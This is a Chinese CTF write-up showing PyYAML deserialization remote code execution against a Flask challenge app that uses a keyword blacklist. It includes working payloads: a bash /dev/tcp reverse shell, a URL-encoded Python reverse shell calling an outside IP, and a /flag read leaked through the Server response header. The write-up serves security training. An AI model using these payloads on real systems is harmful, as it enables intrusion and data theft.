Yaml反序列化name标签打响应头回显
Yaml反序列化name标签打响应头回显
Yaml_master源码如下
import os
import re
import yaml
from flask import Flask, request, jsonify, render_template
app = Flask(__name__, template_folder='templates')
UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):
blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'eval', 'sleep', 'setstate',
'command','static','templates','session','&','globals','builtins'
'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}
input_str_lower = str(input_str).lower()
for term in blacklist_terms:
if term in input_str_lower:
print(f"Found blacklisted term: {term}")
return True
return False
file_pattern = re.compile(r'.*\.yaml$')
def is_yaml_file(filename):
return bool(file_pattern.match(filename))
@app.route('/')
def index():
return '''
Welcome to DASCTF X 0psu3
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/Yam1">Yam1</a>
'''
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
try:
uploaded_file = request.files['file']
if uploaded_file and is_yaml_file(uploaded_file.filename):
file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)
uploaded_file.save(file_path)
return jsonify({"message": "uploaded successfully"}), 200
else:
return jsonify({"error": "Just YAML file"}), 400
except Exception as e:
return jsonify({"error": str(e)}), 500
return render_template('upload.html')
@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
filename = request.args.get('filename','')
if filename:
with open(f'uploads/{filename}.yaml', 'rb') as f:
file_content = f.read()
if not waf(file_content):
test = yaml.load(file_content)
print(test)
return 'welcome'
if __name__ == '__main__':
app.run()
审计代码,有yaml文件上传入口,还有一个yaml读取反序列化入口
我们可以利用Yaml反序列化命令执行来打,高版本之后的yaml可以用name标签来利用反序列化rce.
创建一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('whoami')"
由于禁用了eval以及很多模块,我们发现exec命令执行函数可以用
但是反弹shell的话需要编码,waf没有过滤url编码,我们可以url编码绕过
url编码exec的命令
__import__('os').system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'")
poc如下
import requests
# 目标 URL
url = 'http://node5.buuoj.cn:28322/'
content="""!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "import urllib; exec(urllib.parse.unquote('%5f%5f%69%6d%70%6f%72%74%5f%5f%28%27%6f%73%27%29%2e%73%79%73%74%65%6d%28%27%70%79%74%68%6f%6e%33%20%2d%63%20%5c%27%69%6d%70%6f%72%74%20%6f%73%2c%70%74%79%2c%73%6f%63%6b%65%74%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%32%34%2e%32%32%30%2e%33%37%2e%31%37%33%22%2c%32%33%33%33%29%29%3b%5b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%66%29%66%6f%72%20%66%20%69%6e%28%30%2c%31%2c%32%29%5d%3b%70%74%79%2e%73%70%61%77%6e%28%22%73%68%22%29%5c%27%27%29'))"
"""
files = {'file': ('1.yaml', content, 'application/octet-stream')}
# 发送 POST 请求
response = requests.post(url+'upload', files=files)
# 打印响应内容
print(response.status_code)
print(response.text)
res = requests.get(url=url+'Yam1?filename=1')
print(res.headers)
不出网响应头回显
这题是没有回显的 通过Server请求头带出命令回显 , 但是常规的装饰器函数都被ban了
blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'eval', 'sleep', 'setstate',
'command','static','templates','session','&','globals','builtins'
'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}
我们得想办法带出数据 ,可以通过Server请求头带出命令回显
werkzeug.serving.WSGIRequestHandler这个处理器是用来处理请求头的
Server头的值是server_version属性和sys_version属性拼接在一起的
那我们只需要想办法修改server_version属性或者sys_version属性即可带出数据了
import werkzeug
setattr(werkzeug.serving.WSGIRequestHandler, "server_version",'想要带出的数据' )
构造完整yaml文件
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: |
bb=open("/flag").read()
import werkzeug
setattr(werkzeug.serving.WSGIRequestHandler, "server_version",bb )
构造脚本poc
import requests
# 目标 URL
url = 'http://node5.buuoj.cn:28322/'
content="""!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: |
bb=open("/flag").read()
import werkzeug
setattr(werkzeug.serving.WSGIRequestHandler, "server_version",bb )
"""
files = {'file': ('1.yaml', content, 'application/octet-stream')}
# 发送 POST 请求
response = requests.post(url+'upload', files=files)
# 打印响应内容
print(response.status_code)
print(response.text)
res = requests.get(url=url+'Yam1?filename=1')
print(res.headers)
成功在响应的flask版本字段打印出flag文件内容
0 条评论
可输入 255 字